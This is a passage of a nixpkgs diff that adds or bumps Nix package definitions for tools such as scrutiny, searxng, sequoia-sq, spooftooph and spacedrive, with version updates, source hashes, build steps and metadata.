includes = [ "Cargo.lock" ]; - }) - ]; - - cargoHash = "sha256-TzJ56Wuk77qrxDLL17fYEj4i/YhAS6DRmjoqrzb+5AA="; + cargoHash = "sha256-W8xFOotHxFlBZhEUDRTJGsbr+GjG3ALynaoMgTxPPmM="; nativeBuildInputs = [ pkg-config @@ -47,9 +36,12 @@ rustPlatform.buildRustPackage rec { darwin.apple_sdk.frameworks.SystemConfiguration ]; + passthru.updateScript = nix-update-script { }; + meta = { description = "Tools for managing digital signs and screens at scale"; homepage = "https://github.com/Screenly/cli"; + changelog = "https://github.com/Screenly/cli/releases/tag/v${version}"; license = lib.licenses.mit; mainProgram = "screenly"; maintainers = with lib.maintainers; [ jnsgruk vpetersson ]; diff --git a/pkgs/by-name/sc/scrounge-ntfs/darwin.diff b/pkgs/by-name/sc/scrounge-ntfs/darwin.diff new file mode 100644 index 0000000000000..fb4620198d073 --- /dev/null +++ b/pkgs/by-name/sc/scrounge-ntfs/darwin.diff @@ -0,0 +1,42 @@ +diff -ur a/src/compat.h b/src/compat.h +--- a/src/compat.h 2007-05-27 00:59:43.000000000 +0000 ++++ b/src/compat.h 2024-02-17 11:53:01.541895388 +0000 +@@ -27,6 +27,7 @@ + #ifdef HAVE_CONFIG_H + #include "config.h" + #endif ++#include <sys/stat.h> + #endif + + #include <sys/types.h> +@@ -186,6 +187,8 @@ + void vwarnc(int code, const char *fmt, va_list ap); + void warnx(const char *fmt, ...); + void vwarnx(const char *fmt, va_list ap); ++#else ++#include <err.h> + #endif + + #ifndef HAVE_REALLOCF +@@ -323,7 +326,8 @@ + #ifdef _WIN32 + #define lseek64 _lseeki64 + #else +- #if SIZEOF_OFF_T == 8 ++ #if SIZEOF_OFF_T == 8 || defined(__APPLE__) ++ _Static_assert(sizeof(off_t) == 8, "off_t must be 8 bytes"); + #define lseek64 lseek + #else + #error ERROR: Must have a working 64 bit seek function +diff -ur a/src/ntfs.c b/src/ntfs.c +--- a/src/ntfs.c 2007-05-27 01:00:08.000000000 +0000 ++++ b/src/ntfs.c 2024-02-17 11:48:19.402694507 +0000 +@@ -20,7 +20,7 @@ + #include "usuals.h" + #include "ntfs.h" + +-#include "malloc.h" ++#include "stdlib.h" + #include "string.h" + + diff --git a/pkgs/by-name/sc/scrounge-ntfs/package.nix b/pkgs/by-name/sc/scrounge-ntfs/package.nix new file mode 100644 index 0000000000000..51c0b1860750d --- /dev/null +++ b/pkgs/by-name/sc/scrounge-ntfs/package.nix @@ -0,0 +1,27 @@ +{ lib +, stdenv +, fetchurl +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "scrounge-ntfs"; + version = "0.9"; + + src = fetchurl { + url = "http://thewalter.net/stef/software/scrounge/scrounge-ntfs-${finalAttrs.version}.tar.gz"; + hash = "sha256-HYrMIMTRPmgAac/vaZ1jaUFchyAl5B0quxgHH0DHJ84="; + }; + + patches = [ + ./darwin.diff + ]; + + meta = with lib; { + description = "Data recovery program for NTFS file systems"; + mainProgram = "scrounge-ntfs"; + homepage = "http://thewalter.net/stef/software/scrounge/"; + maintainers = with maintainers; [ d3vil0p3r ]; + platforms = platforms.unix; + license = licenses.bsd3; + }; +}) diff --git a/pkgs/by-name/sc/scrutiny-collector/package.nix b/pkgs/by-name/sc/scrutiny-collector/package.nix new file mode 100644 index 0000000000000..0fc1835bfa524 --- /dev/null +++ b/pkgs/by-name/sc/scrutiny-collector/package.nix @@ -0,0 +1,53 @@ +{ buildGoModule +, fetchFromGitHub +, makeWrapper +, smartmontools +, nixosTests +, lib +}: +let + version = "0.7.3"; +in +buildGoModule rec { + inherit version; + pname = "scrutiny-collector"; + + src = fetchFromGitHub { + owner = "AnalogJ"; + repo = "scrutiny"; + rev = "refs/tags/v${version}"; + hash = "sha256-S7GW8z6EWB+5vntKew0+EDVqhun+Ae2//15dSIlfoSs="; + }; + + subPackages = "collector/cmd/collector-metrics"; + + vendorHash = "sha256-SiQw6pq0Fyy8Ia39S/Vgp9Mlfog2drtVn43g+GXiQuI="; + + buildInputs = [ makeWrapper ]; + + CGO_ENABLED = 0; + + ldflags = [ "-extldflags=-static" ]; + + tags = [ "static" ]; + + installPhase = '' + runHook preInstall + mkdir -p $out/bin + cp $GOPATH/bin/collector-metrics $out/bin/scrutiny-collector-metrics + wrapProgram $out/bin/scrutiny-collector-metrics \ + --prefix PATH : ${lib.makeBinPath [ smartmontools ]} + runHook postInstall + ''; + + passthru.tests.scrutiny-collector = nixosTests.scrutiny; + + meta = { + description = "Hard disk metrics collector for Scrutiny."; + homepage = "https://github.com/AnalogJ/scrutiny"; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ jnsgruk ]; + mainProgram = "scrutiny-collector-metrics"; + platforms = lib.platforms.linux; + }; +} diff --git a/pkgs/by-name/sc/scrutiny/package.nix b/pkgs/by-name/sc/scrutiny/package.nix new file mode 100644 index 0000000000000..0abe624af53dc --- /dev/null +++ b/pkgs/by-name/sc/scrutiny/package.nix @@ -0,0 +1,68 @@ +{ buildNpmPackage +, buildGoModule +, fetchFromGitHub +, nixosTests +, lib +}: +let + pname = "scrutiny"; + version = "0.7.3"; + + src = fetchFromGitHub { + owner = "AnalogJ"; + repo = "scrutiny"; + rev = "refs/tags/v${version}"; + hash = "sha256-S7GW8z6EWB+5vntKew0+EDVqhun+Ae2//15dSIlfoSs="; + }; + + frontend = buildNpmPackage { + inherit version; + pname = "${pname}-webapp"; + src = "${src}/webapp/frontend"; + + npmDepsHash = "sha256-M8P41LPg7oJ/C9abDuNM5Mn+OO0zK56CKi2BwLxv8oQ="; + + buildPhase = '' + runHook preBuild + mkdir dist + npm run build:prod --offline -- --output-path=dist + runHook postBuild + ''; + + installPhase = '' + runHook preInstall + mkdir $out + cp -r dist/* $out + runHook postInstall + ''; + }; +in +buildGoModule rec { + inherit pname src version; + + subPackages = "webapp/backend/cmd/scrutiny"; + + vendorHash = "sha256-SiQw6pq0Fyy8Ia39S/Vgp9Mlfog2drtVn43g+GXiQuI="; + + CGO_ENABLED = 0; + + ldflags = [ "-extldflags=-static" ]; + + tags = [ "static" ]; + + postInstall = '' + mkdir -p $out/share/scrutiny + cp -r ${frontend}/* $out/share/scrutiny + ''; + + passthru.tests.scrutiny = nixosTests.scrutiny; + + meta = { + description = "Hard Drive S.M.A.R.T Monitoring, Historical Trends & Real World Failure Thresholds."; + homepage = "https://github.com/AnalogJ/scrutiny"; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ jnsgruk ]; + mainProgram = "scrutiny"; + platforms = lib.platforms.linux; + }; +} diff --git a/pkgs/by-name/sd/sdcc/package.nix b/pkgs/by-name/sd/sdcc/package.nix index eaac606fbdb7c..e8c20ac045c30 100644 --- a/pkgs/by-name/sd/sdcc/package.nix +++ b/pkgs/by-name/sd/sdcc/package.nix @@ -18,11 +18,11 @@ assert lib.subtractLists [ ] excludePorts == []; stdenv.mkDerivation (finalAttrs: { pname = "sdcc"; - version = "4.2.0"; + version = "4.4.0"; src = fetchurl { url = "mirror://sourceforge/sdcc/sdcc-src-${finalAttrs.version}.tar.bz2"; - hash = "sha256-tJuuHSO81gV6gsT/5WE/nNDLz9HpQOnYTEv+nfCowFM="; + hash = "sha256-rowSFl6xdoDf9EsyjYh5mWMGtyQe+jqDsuOy0veQanU="; }; outputs = [ "out" "doc" "man" ]; diff --git a/pkgs/by-name/se/searxng/package.nix b/pkgs/by-name/se/searxng/package.nix index 24fd8be884784..6f541d8a3b38f 100644 --- a/pkgs/by-name/se/searxng/package.nix +++ b/pkgs/by-name/se/searxng/package.nix @@ -5,13 +5,13 @@ python3.pkgs.toPythonModule (python3.pkgs.buildPythonApplication rec { pname = "searxng"; - version = "unstable-2023-10-31"; + version = "0-unstable-2024-02-24"; src = fetchFromGitHub { - owner = pname; - repo = pname; - rev = "b05a15540e1dc2dfb8e4e25aa537b2a68e713844"; - hash = "sha256-x0PyS+A4KjbBnTpca17Wx3BQjtOHvVuWpusPPc1ULnU="; + owner = "searxng"; + repo = "searxng"; + rev = "d72fa99bd0a4d702a55188b07919ce5a764b1d6c"; + hash = "sha256-1A7dyWrF63fSSvWP+2HrCS6H8o/4CUlqiP0KANVZHUA="; }; postPatch = '' @@ -20,7 +20,7 @@ python3.pkgs.toPythonModule (python3.pkgs.buildPythonApplication rec { preBuild = let - versionString = lib.concatStringsSep "." (builtins.tail (lib.splitString "-" version)); + versionString = lib.concatStringsSep "." (builtins.tail (lib.splitString "-" (lib.removePrefix "0-" version))); commitAbbrev = builtins.substring 0 8 src.rev; in '' @@ -66,13 +66,14 @@ python3.pkgs.toPythonModule (python3.pkgs.buildPythonApplication rec { ln -s ../${python3.sitePackages}/searx/static $out/share/ # copy config schema for the limiter - cp searx/botdetection/limiter.toml $out/${python3.sitePackages}/searx/botdetection/limiter.toml + cp searx/limiter.toml $out/${python3.sitePackages}/searx/limiter.toml ''; meta = with lib; { homepage = "https://github.com/searxng/searxng"; description = "A fork of Searx, a privacy-respecting, hackable metasearch engine"; license = licenses.agpl3Plus; + mainProgram = "searxng-run"; maintainers = with maintainers; [ SuperSandro2000 _999eagle ]; }; }) diff --git a/pkgs/by-name/se/seclists/package.nix b/pkgs/by-name/se/seclists/package.nix index 51017d7373f1c..8bb86ce2e614f 100644 --- a/pkgs/by-name/se/seclists/package.nix +++ b/pkgs/by-name/se/seclists/package.nix @@ -5,13 +5,13 @@ stdenvNoCC.mkDerivation { pname = "seclists"; - version = "2023.4"; + version = "2024.1"; src = fetchFromGitHub { owner = "danielmiessler"; repo = "SecLists"; - rev = "2023.4"; - hash = "sha256-AX2n+kpXJGYEI88iJKHHcR7NFf0YCvu4FakEPkiwXTo="; + rev = "2024.1"; + hash = "sha256-0wK/8cJC9FSFrQUPhRy1/uwQONx2dR3U0XOdnMpxBuA="; }; installPhase = '' diff --git a/pkgs/tools/security/sequoia-sq/default.nix b/pkgs/by-name/se/sequoia-sq/package.nix index 699a8ee63632f..54e19ba073fa3 100644 --- a/pkgs/tools/security/sequoia-sq/default.nix +++ b/pkgs/by-name/se/sequoia-sq/package.nix @@ -1,31 +1,44 @@ { stdenv , fetchFromGitLab +, fetchpatch , lib , darwin , nettle , nix-update-script , rustPlatform , pkg-config +, capnproto +, installShellFiles , openssl , sqlite }: rustPlatform.buildRustPackage rec { pname = "sequoia-sq"; - version = "0.32.0"; + version = "0.34.0"; src = fetchFromGitLab { owner = "sequoia-pgp"; repo = "sequoia-sq"; rev = "v${version}"; - hash = "sha256-2a6LIW5ohSi7fbMwk/wmNJ0AOz5JIXiXJI7EoVKv1Sk="; + hash = "sha256-voFektWZnkmIQzI7s5nKzVVWQtEhzk2GKtxX926RtxU="; }; + patches = [ + # Fixes test failing on Darwin, see: + # https://gitlab.com/sequoia-pgp/sequoia-sq/-/issues/211 + (fetchpatch { + url = "https://gitlab.com/sequoia-pgp/sequoia-sq/-/commit/21221a935e0d058ed269ae6c8f45c5fa7ea0d598.patch"; + hash = "sha256-ZjTl3EumeFwMJUl+qMpX+P2maYz4Ow/Tn9KwYbHDbes="; + }) + ]; - cargoHash = "sha256-beA0viJVDjfANsPegkc/x2syVp8uGKTMnrPcM7jcvG4="; + cargoHash = "sha256-3ncBpRi0v6g6wwPkSASDwt0d8cOOAUv9BwZaYvnif1U="; nativeBuildInputs = [ pkg-config rustPlatform.bindgenHook + capnproto + installShellFiles ]; buildInputs = [ @@ -41,14 +54,19 @@ rustPlatform.buildRustPackage rec { "--skip=macros::time_it" ]; - # Install manual pages, see https://gitlab.com/sequoia-pgp/sequoia-sq#building - postInstall = '' - mkdir -p $out/share/man - SQ_MAN=$out/share/man/man1 cargo run - ''; + env.ASSET_OUT_DIR = "/tmp/"; doCheck = true; + postInstall = '' + installManPage /tmp/man-pages/*.* + installShellCompletion \ + --cmd sq \ + --bash /tmp/shell-completions/sq.bash \ + --fish /tmp/shell-completions/sq.fish \ + --zsh /tmp/shell-completions/_sq + ''; + passthru.updateScript = nix-update-script { }; meta = with lib; { diff --git a/pkgs/by-name/sh/shittier/package.nix b/pkgs/by-name/sh/shittier/package.nix new file mode 100644 index 0000000000000..e9316063c3bc2 --- /dev/null +++ b/pkgs/by-name/sh/shittier/package.nix @@ -0,0 +1,28 @@ +{ lib +, buildNpmPackage +, fetchFromGitHub +}: + +buildNpmPackage rec { + pname = "shittier"; + # No tagged release on GitHub yet + # Commit corresponds to release tagged as 0.1.1 on [npm](https://www.npmjs.com/package/shittier) + # See issue https://github.com/rohitdhas/shittier/issues/7 + version = "0-unstable-2023-12-22"; + + src = fetchFromGitHub { + owner = "rohitdhas"; + repo = "shittier"; + rev = "c61b443c06dbaa8085a88b16360941cc4ba6baa2"; + hash = "sha256-qdG1PdIZGWoJI7KgJqM/fayubPbPk+od/SgKfZQADz8="; + }; + + npmDepsHash = "sha256-oC9eOpoMZLZbyx9XnC4m5zzqORQWP62uRDNVZjyVnBs="; + + meta = { + description = "Unconventional code formatting tool for JavaScript"; + homepage = "https://github.com/rohitdhas/shittier"; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ totoroot ]; + }; +} diff --git a/pkgs/by-name/sh/shopware-cli/package.nix b/pkgs/by-name/sh/shopware-cli/package.nix index 024b503870575..b02a7c0dbda63 100644 --- a/pkgs/by-name/sh/shopware-cli/package.nix +++ b/pkgs/by-name/sh/shopware-cli/package.nix @@ -9,18 +9,18 @@ buildGoModule rec { pname = "shopware-cli"; - version = "0.4.23"; + version = "0.4.25"; src = fetchFromGitHub { repo = "shopware-cli"; owner = "FriendsOfShopware"; rev = version; - hash = "sha256-miuZsrIPvdYdEu9qc/qRxcNxfPLxCHxokywhLgplehY="; + hash = "sha256-CpE1cITQlPP9JDBKt60WcHP7+nb3VvtAIM1R5poIBe0="; }; nativeBuildInputs = [ installShellFiles makeWrapper ]; nativeCheckInputs = [ git dart-sass ]; - vendorHash = "sha256-JgeyIj4YfnHZm2u+Gy3taX+WoFwe3jfqkVOO63adzgU="; + vendorHash = "sha256-sacgZPml+9NSH5PylOVhvpF1atIs6/Kumk2kKdGbtDY="; postInstall = '' export HOME="$(mktemp -d)" diff --git a/pkgs/by-name/si/simplex-chat-desktop/package.nix b/pkgs/by-name/si/simplex-chat-desktop/package.nix index 2fb5560809614..4332e6467005d 100644 --- a/pkgs/by-name/si/simplex-chat-desktop/package.nix +++ b/pkgs/by-name/si/simplex-chat-desktop/package.nix @@ -6,11 +6,11 @@ let pname = "simplex-chat-desktop"; - version = "5.4.4"; + version = "5.5.5"; src = fetchurl { url = "https://github.com/simplex-chat/simplex-chat/releases/download/v${version}/simplex-desktop-x86_64.AppImage"; - hash = "sha256-f4P31e099bKBKsavP5f+xBGsqQfM6CYgUtUIOLe+cAE="; + hash = "sha256-MD1AbpHlpaMaPlpJmGp0oPbOYPmJEhhIXmexkpCr1wY="; }; appimageContents = appimageTools.extract { diff --git a/pkgs/by-name/si/sink-rotate/package.nix b/pkgs/by-name/si/sink-rotate/package.nix new file mode 100644 index 0000000000000..8d0c8afe6e9d0 --- /dev/null +++ b/pkgs/by-name/si/sink-rotate/package.nix @@ -0,0 +1,41 @@ +{ lib +, rustPlatform +, fetchFromGitHub +, pipewire +, wireplumber +, makeWrapper +}: +let + version = "1.0.4"; +in +rustPlatform.buildRustPackage { + pname = "sink-rotate"; + inherit version; + + src = fetchFromGitHub { + owner = "mightyiam"; + repo = "sink-rotate"; + rev = "v${version}"; + hash = "sha256-q20uUr+7yLJlZc5YgEkY125YrZ2cuJrPv5IgWXaYRlo="; + }; + + cargoHash = "sha256-MPeyPTkxpi6iw/BT5m4S7jVBD0c2zG2rsv+UZWQxpUU="; + + buildInputs = [ makeWrapper ]; + + postFixup = '' + wrapProgram $out/bin/sink-rotate \ + --prefix PATH : ${pipewire}/bin/pw-dump \ + --prefix PATH : ${wireplumber}/bin/wpctl + ''; + + meta = with lib; { + description = "Command that rotates default between two PipeWire audio sinks."; + homepage = "https://github.com/mightyiam/sink-rotate"; + license = licenses.mit; + maintainers = with maintainers; [ mightyiam ]; + mainProgram = "sink-rotate"; + platforms = platforms.linux; + }; +} + diff --git a/pkgs/by-name/sm/smag/package.nix b/pkgs/by-name/sm/smag/package.nix new file mode 100644 index 0000000000000..b56d3aa2678d0 --- /dev/null +++ b/pkgs/by-name/sm/smag/package.nix @@ -0,0 +1,28 @@ +{ lib, fetchFromGitHub, rustPlatform }: + +rustPlatform.buildRustPackage rec { + pname = "smag"; + version = "0.7.0"; + + src = fetchFromGitHub { + owner = "aantn"; + repo = pname; + rev = "v${version}"; + hash = "sha256-PdrK4kblXju23suMe3nYFT1KEbyQu4fwP/XTb2kV1fs="; + }; + + cargoHash = "sha256-SX6tOodmB0usM0laOt8mjIINPYbzHI4gyUhsR21Oqrw="; + + meta = with lib; { + description = "Easily create graphs from cli commands and view them in the terminal"; + longDescription = '' + Easily create graphs from cli commands and view them in the terminal. + Like the watch command but with a graph of the output. + ''; + homepage = "https://github.com/aantn/smag"; + license = licenses.mit; + changelog = "https://github.com/aantn/smag/releases/tag/v${version}"; + mainProgram = "smag"; + maintainers = with maintainers; [ zebreus ]; + }; +} diff --git a/pkgs/tools/security/sn0int/default.nix b/pkgs/by-name/sn/sn0int/package.nix index 66f89f77e8eae..2410fa0cc230b 100644 --- a/pkgs/tools/security/sn0int/default.nix +++ b/pkgs/by-name/sn/sn0int/package.nix @@ -7,6 +7,7 @@ , pkgs , sqlite , stdenv +, installShellFiles }: rustPlatform.buildRustPackage rec { @@ -24,6 +25,7 @@ rustPlatform.buildRustPackage rec { nativeBuildInputs = [ pkg-config + installShellFiles ]; buildInputs = [ @@ -39,6 +41,13 @@ rustPlatform.buildRustPackage rec { # in "checkPhase", hence fails in sandbox of "nix". doCheck = false; + postInstall = '' + installShellCompletion --cmd sn0int \ + --bash <($out/bin/sn0int completions bash) \ + --fish <($out/bin/sn0int completions fish) \ + --zsh <($out/bin/sn0int completions zsh) + ''; + meta = with lib; { description = "Semi-automatic OSINT framework and package manager"; homepage = "https://github.com/kpcyrd/sn0int"; @@ -46,5 +55,6 @@ rustPlatform.buildRustPackage rec { license = with licenses; [ gpl3Plus ]; maintainers = with maintainers; [ fab xrelkd ]; platforms = platforms.linux ++ platforms.darwin; + mainProgram = "sn0int"; }; } diff --git a/pkgs/by-name/so/sopwith/package.nix b/pkgs/by-name/so/sopwith/package.nix new file mode 100644 index 0000000000000..b881454fff78e --- /dev/null +++ b/pkgs/by-name/so/sopwith/package.nix @@ -0,0 +1,41 @@ +{ lib +, stdenv +, fetchFromGitHub +, glib +, SDL2 +, libGL +, pkg-config +, autoreconfHook +}: + +stdenv.mkDerivation rec { + pname = "sopwith"; + version = "2.4.0"; + + src = fetchFromGitHub { + owner = "fragglet"; + repo = "sdl-sopwith"; + rev = "refs/tags/sdl-sopwith-${version}"; + hash = "sha256-7/xTg41NYxzeGNyt/ClbM/uHMTAE87wn6vc9Ai6P+30="; + }; + + nativeBuildInputs = [ + autoreconfHook + pkg-config + ]; + + buildInputs = [ + glib + SDL2 + libGL + ]; + + meta = with lib; { + homepage = "https://github.com/fragglet/sdl-sopwith"; + description = "Classic biplane shoot ‘em-up game."; + license = licenses.gpl2Plus; + mainProgram = "sopwith"; + maintainers = with maintainers; [ evilbulgarian ]; + platforms = platforms.unix; + }; +} diff --git a/pkgs/by-name/sp/spacedrive/package.nix b/pkgs/by-name/sp/spacedrive/package.nix index bf281e372709f..f6b9372709e99 100644 --- a/pkgs/by-name/sp/spacedrive/package.nix +++ b/pkgs/by-name/sp/spacedrive/package.nix @@ -9,20 +9,20 @@ let pname = "spacedrive"; - version = "0.1.4"; + version = "0.2.4"; src = fetchurl { aarch64-darwin = { url = "https://github.com/spacedriveapp/spacedrive/releases/download/${version}/Spacedrive-darwin-aarch64.dmg"; - hash = "sha256-gKboB5W0vW6ssZHRRivqbVPE0d0FCUdiNCsP0rKKtNo="; + hash = "sha256-rVRmlhsvvFFRr3ghX0cvfcJO3WlbaNNBo+r4I556YEg="; }; x86_64-darwin = { url = "https://github.com/spacedriveapp/spacedrive/releases/download/${version}/Spacedrive-darwin-x86_64.dmg"; - hash = "sha256-KD1hw6aDyqCsXLYM8WrOTI2AfFx7t++UWV7SaCmtypI="; + hash = "sha256-etRAcGC5S0GwVrBWICfB5ef83xcp/35K0/QndKmPUSE="; }; x86_64-linux = { url = "https://github.com/spacedriveapp/spacedrive/releases/download/${version}/Spacedrive-linux-x86_64.AppImage"; - hash = "sha256-iBdW8iPuvztP0L5xLyVs7/K8yFe7kD7QwdTuKJLhB+c="; + hash = "sha256-D8etNXrDVLHa1wg+7Xu9yXUvhlAXxMVBM3GpOerFsu0="; }; }.${stdenv.system} or (throw "${pname}-${version}: ${stdenv.system} is unsupported."); @@ -33,7 +33,7 @@ let platforms = [ "aarch64-darwin" "x86_64-darwin" "x86_64-linux" ]; license = lib.licenses.agpl3Plus; sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ]; - maintainers = with lib.maintainers; [ heisfer mikaelfangel stepbrobd ]; + maintainers = with lib.maintainers; [ DataHearth heisfer mikaelfangel stepbrobd ]; mainProgram = "spacedrive"; }; @@ -66,12 +66,12 @@ else appimageTools.wrapType2 { in '' # Remove version from entrypoint - mv $out/bin/spacedrive-"${version}" $out/bin/spacedrive + mv $out/bin/spacedrive-${version} $out/bin/spacedrive # Install .desktop files - install -Dm444 ${appimageContents}/spacedrive.desktop -t $out/share/applications + install -Dm444 ${appimageContents}/com.spacedrive.desktop -t $out/share/applications install -Dm444 ${appimageContents}/spacedrive.png -t $out/share/pixmaps - substituteInPlace $out/share/applications/spacedrive.desktop \ - --replace 'Exec=AppRun --no-sandbox %U' 'Exec=spacedrive' + substituteInPlace $out/share/applications/com.spacedrive.desktop \ + --replace 'Exec=usr/bin/spacedrive' 'Exec=spacedrive' ''; } diff --git a/pkgs/by-name/sp/spade/Cargo.lock b/pkgs/by-name/sp/spade/Cargo.lock index 02f87b96c6b8b..cb63ead6b4b17 100644 --- a/pkgs/by-name/sp/spade/Cargo.lock +++ b/pkgs/by-name/sp/spade/Cargo.lock @@ -1055,7 +1055,7 @@ checksum = "942b4a808e05215192e39f4ab80813e599068285906cc91aa64f923db842bd5a" [[package]] name = "spade" -version = "0.4.0" +version = "0.6.0" dependencies = [ "atty", "clap", @@ -1090,7 +1090,7 @@ dependencies = [ [[package]] name = "spade-ast" -version = "0.4.0" +version = "0.6.0" dependencies = [ "num", "spade-common", @@ -1098,7 +1098,7 @@ dependencies = [ [[package]] name = "spade-ast-lowering" -version = "0.4.0" +version = "0.6.0" dependencies = [ "itertools", "local-impl", @@ -1116,7 +1116,7 @@ dependencies = [ [[package]] name = "spade-common" -version = "0.4.0" +version = "0.6.0" dependencies = [ "codespan", "codespan-reporting 0.12.0", @@ -1142,7 +1142,7 @@ dependencies = [ [[package]] name = "spade-diagnostics" -version = "0.4.0" +version = "0.6.0" dependencies = [ "codespan", "codespan-reporting 0.12.0", @@ -1159,7 +1159,7 @@ dependencies = [ [[package]] name = "spade-hir" -version = "0.4.0" +version = "0.6.0" dependencies = [ "codespan-reporting 0.12.0", "colored", @@ -1177,7 +1177,7 @@ dependencies = [ [[package]] name = "spade-hir-lowering" -version = "0.4.0" +version = "0.6.0" dependencies = [ "codespan", "codespan-reporting 0.12.0", @@ -1202,7 +1202,7 @@ dependencies = [ [[package]] name = "spade-macros" -version = "0.4.0" +version = "0.6.0" dependencies = [ "proc-macro-error", "proc-macro2", @@ -1213,7 +1213,7 @@ dependencies = [ [[package]] name = "spade-mir" -version = "0.4.0" +version = "0.6.0" dependencies = [ "codespan", "codespan-reporting 0.12.0", @@ -1234,7 +1234,7 @@ dependencies = [ [[package]] name = "spade-parser" -version = "0.4.0" +version = "0.6.0" dependencies = [ "codespan", "codespan-reporting 0.12.0", @@ -1253,7 +1253,7 @@ dependencies = [ [[package]] name = "spade-python" -version = "0.4.0" +version = "0.6.0" dependencies = [ "codespan-reporting 0.12.0", "color-eyre", @@ -1282,7 +1282,7 @@ dependencies = [ [[package]] name = "spade-simulation-ext" -version = "0.4.0" +version = "0.6.0" dependencies = [ "codespan-reporting 0.12.0", "color-eyre", @@ -1310,7 +1310,7 @@ dependencies = [ [[package]] name = "spade-tests" -version = "0.4.0" +version = "0.6.0" dependencies = [ "codespan-reporting 0.12.0", "colored", @@ -1338,7 +1338,7 @@ dependencies = [ [[package]] name = "spade-typeinference" -version = "0.4.0" +version = "0.6.0" dependencies = [ "assert_matches", "codespan", @@ -1361,7 +1361,7 @@ dependencies = [ [[package]] name = "spade-types" -version = "0.4.0" +version = "0.6.0" dependencies = [ "num", "serde", @@ -1370,7 +1370,7 @@ dependencies = [ [[package]] name = "spade-wordlength-inference" -version = "0.4.0" +version = "0.6.0" dependencies = [ "codespan", "codespan-reporting 0.12.0", diff --git a/pkgs/by-name/sp/spade/package.nix b/pkgs/by-name/sp/spade/package.nix index b8e00125753c8..55a6088bad61d 100644 --- a/pkgs/by-name/sp/spade/package.nix +++ b/pkgs/by-name/sp/spade/package.nix @@ -6,13 +6,13 @@ rustPlatform.buildRustPackage rec { pname = "spade"; - version = "0.5.0"; + version = "0.6.0"; src = fetchFromGitLab { owner = "spade-lang"; repo = "spade"; rev = "v${version}"; - hash = "sha256-PvheMYpsDWAXPf8K3K8yloCH0UTjzzVPuMBlcGC1xKU="; + hash = "sha256-MNMKUhXVBhSn91uTVCuxozJ2BVFQAX/YdnCPOztGQyM="; # only needed for vatch, which contains test data fetchSubmodules = true; }; @@ -26,11 +26,6 @@ rustPlatform.buildRustPackage rec { }; }; - # Cargo.lock is outdated - postConfigure = '' - cargo metadata --offline - ''; - meta = with lib; { description = "A better hardware description language"; homepage = "https://gitlab.com/spade-lang/spade"; diff --git a/pkgs/by-name/sp/spicetify-cli/package.nix b/pkgs/by-name/sp/spicetify-cli/package.nix index 570bf0ea09f76..a593c87c3d46f 100644 --- a/pkgs/by-name/sp/spicetify-cli/package.nix +++ b/pkgs/by-name/sp/spicetify-cli/package.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "spicetify-cli"; - version = "2.31.2"; + version = "2.33.2"; src = fetchFromGitHub { owner = "spicetify"; repo = "spicetify-cli"; rev = "v${version}"; - hash = "sha256-kOjWjubYkAUIU18jKa6WMcBgrMFOg9lql59WXusAoa8="; + hash = "sha256-GCeauokKzIbWwYrUopvvKEV7OBdoCfzFjHj0YxSuW3U="; }; vendorHash = "sha256-9rYShpUVI3KSY6UgGmoXo899NkUezkAAkTgFPdq094E="; diff --git a/pkgs/by-name/sp/spooftooph/package.nix b/pkgs/by-name/sp/spooftooph/package.nix new file mode 100644 index 0000000000000..3a78341128c21 --- /dev/null +++ b/pkgs/by-name/sp/spooftooph/package.nix @@ -0,0 +1,36 @@ +{ lib +, stdenv +, fetchurl +, bluez +, ncurses +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "spooftooph"; + version = "0.5.2"; + + src = fetchurl { + url = "mirror://sourceforge/project/spooftooph/spooftooph-${finalAttrs.version}/spooftooph-${finalAttrs.version}.tar.gz"; + hash = "sha256-JH5+fHpe83NJV9AR5MXKnrwaTqz4s2BGAcczbddVNHw="; + }; + + buildInputs = [ + bluez + ncurses + ]; + + makeFlags = [ "BIN=$(out)/bin" ]; + + preInstall = '' + mkdir -p $out/bin + ''; + + meta = with lib; { + homepage = "https://sourceforge.net/projects/spooftooph"; + description = "Automate spoofing or clone Bluetooth device Name, Class, and Address"; + mainProgram = "spooftooph"; + license = licenses.gpl2Only; + platforms = platforms.linux; + maintainers = with maintainers; [ d3vil0p3r ]; + }; +}) diff --git a/pkgs/by-name/sp/spotifywm/package.nix b/pkgs/by-name/sp/spotifywm/package.nix new file mode 100644 index 0000000000000..b8a7db9a3d396 --- /dev/null +++ b/pkgs/by-name/sp/spotifywm/package.nix @@ -0,0 +1,51 @@ +{ + lib, + stdenv, + fetchFromGitHub, + libX11, + lndir, + makeBinaryWrapper, + spotify, +}: +stdenv.mkDerivation { + pname = "spotifywm"; + version = "0-unstable-2022-10-25"; + + src = fetchFromGitHub { + owner = "dasJ"; + repo = "spotifywm"; + rev = "8624f539549973c124ed18753881045968881745"; + hash = "sha256-AsXqcoqUXUFxTG+G+31lm45gjP6qGohEnUSUtKypew0="; + }; + + nativeBuildInputs = [ + makeBinaryWrapper + lndir + ]; + + buildInputs = [ libX11 ]; + + installPhase = '' + runHook preInstall + + mkdir -p $out + + lndir -silent ${spotify} $out + + install -Dm644 spotifywm.so $out/lib/spotifywm.so + + wrapProgram $out/bin/spotify \ + --suffix LD_PRELOAD : "$out/lib/spotifywm.so" + + runHook postInstall + ''; + + meta = { + homepage = "https://github.com/dasJ/spotifywm"; + description = "Wrapper around Spotify that correctly sets class name before opening the window"; + license = lib.licenses.mit; + platforms = lib.platforms.linux; + maintainers = with lib.maintainers; [ jqueiroz the-argus ]; + mainProgram = "spotify"; + }; +} diff --git a/pkgs/by-name/sq/squirreldisk/Cargo.lock b/pkgs/by-name/sq/squirreldisk/Cargo.lock new file mode 100644 index 0000000000000..667c8b7580917 --- /dev/null +++ b/pkgs/by-name/sq/squirreldisk/Cargo.lock @@ -0,0 +1,4060 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "aho-corasick" +version = "0.7.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc936419f96fa211c1b9166887b38e5e40b19958e5b895be7c1f93adec7071ac" +dependencies = [ + "memchr", +] + +[[package]] +name = "alloc-no-stdlib" +version = "2.0.4" +source = 